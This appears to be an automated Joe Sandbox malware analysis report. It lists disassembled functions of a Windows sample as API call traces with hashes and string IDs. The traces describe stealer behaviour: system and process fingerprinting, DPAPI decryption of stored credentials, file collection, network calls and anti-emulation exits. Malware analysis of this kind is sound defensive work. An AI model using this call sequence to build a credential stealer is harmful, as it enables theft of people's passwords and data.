Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02DDA900,00000000,?,0041D758,00000000,?,00000000,00000000,?,02DDB0F0,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,02DDA900,00000000,?,0041D758,00000000,?,00000000,00000000,?,02DDB0F0,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,02DDB170,00000000,?,0041D76C,00000000,?,00000000,00000000,?,02DDA990,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,02DBAA30,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,02DDB0D0,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02DDAC60,00000000,?,0041D774,00000000,?,00000000,00000000,?,02DDAC48), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,02DBE960,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: CloseHandle.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentHandleInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalInternetLastLogicalMemoryModuleNextPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 2827757392-2211245587
Opcode ID: be62f224ac32ac61fbb113d8b8deccaa6252030442742642b5a76ba95a1d4dfb
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: be62f224ac32ac61fbb113d8b8deccaa6252030442742642b5a76ba95a1d4dfb
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,02DDA708), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

DPAPI, xrefs: 0040976B
, xrefs: 004097A3

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 1204593910-1819349886
Opcode ID: edd337fd7ee0ffe3fea05ed31c69646d70469b99d17d75348e8bbe3fa7f89cca
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: edd337fd7ee0ffe3fea05ed31c69646d70469b99d17d75348e8bbe3fa7f89cca
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

CloseHandle.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: b51c9233915bc5a5767cc3b8f1fcbf7436cc02962ec3b4d2a33abb6c442c99cf
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: b51c9233915bc5a5767cc3b8f1fcbf7436cc02962ec3b4d2a33abb6c442c99cf
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02DB6B20,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02DB6B20,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 00406884, 0040679E, 0040689F, 004067C2, 0040684E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 4b0e126804d94db3b530d060b3d324dfd2edbb57089a4d466a2dac25a52c3743
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 4b0e126804d94db3b530d060b3d324dfd2edbb57089a4d466a2dac25a52c3743
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02DD4D20), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02DD4B70), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02DD4C10), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: fb4142decce61cfbd74453b26233254a65527c8bde35481f1688c093bba2851d
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: fb4142decce61cfbd74453b26233254a65527c8bde35481f1688c093bba2851d
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,02DD4D20), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,02DD4B70), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,02DD4C10), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a3b2b771104ceb33990ce2a40f75955d51ddea62d79076add7996763b704719c
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: a3b2b771104ceb33990ce2a40f75955d51ddea62d79076add7996763b704719c
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,02DDB3F0), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,02DD4BF0), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,?), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: 8826a6b1404a200ce88be816452a5148d927781aceadf0aa4742059f237a8abb
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: 8826a6b1404a200ce88be816452a5148d927781aceadf0aa4742059f237a8abb
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
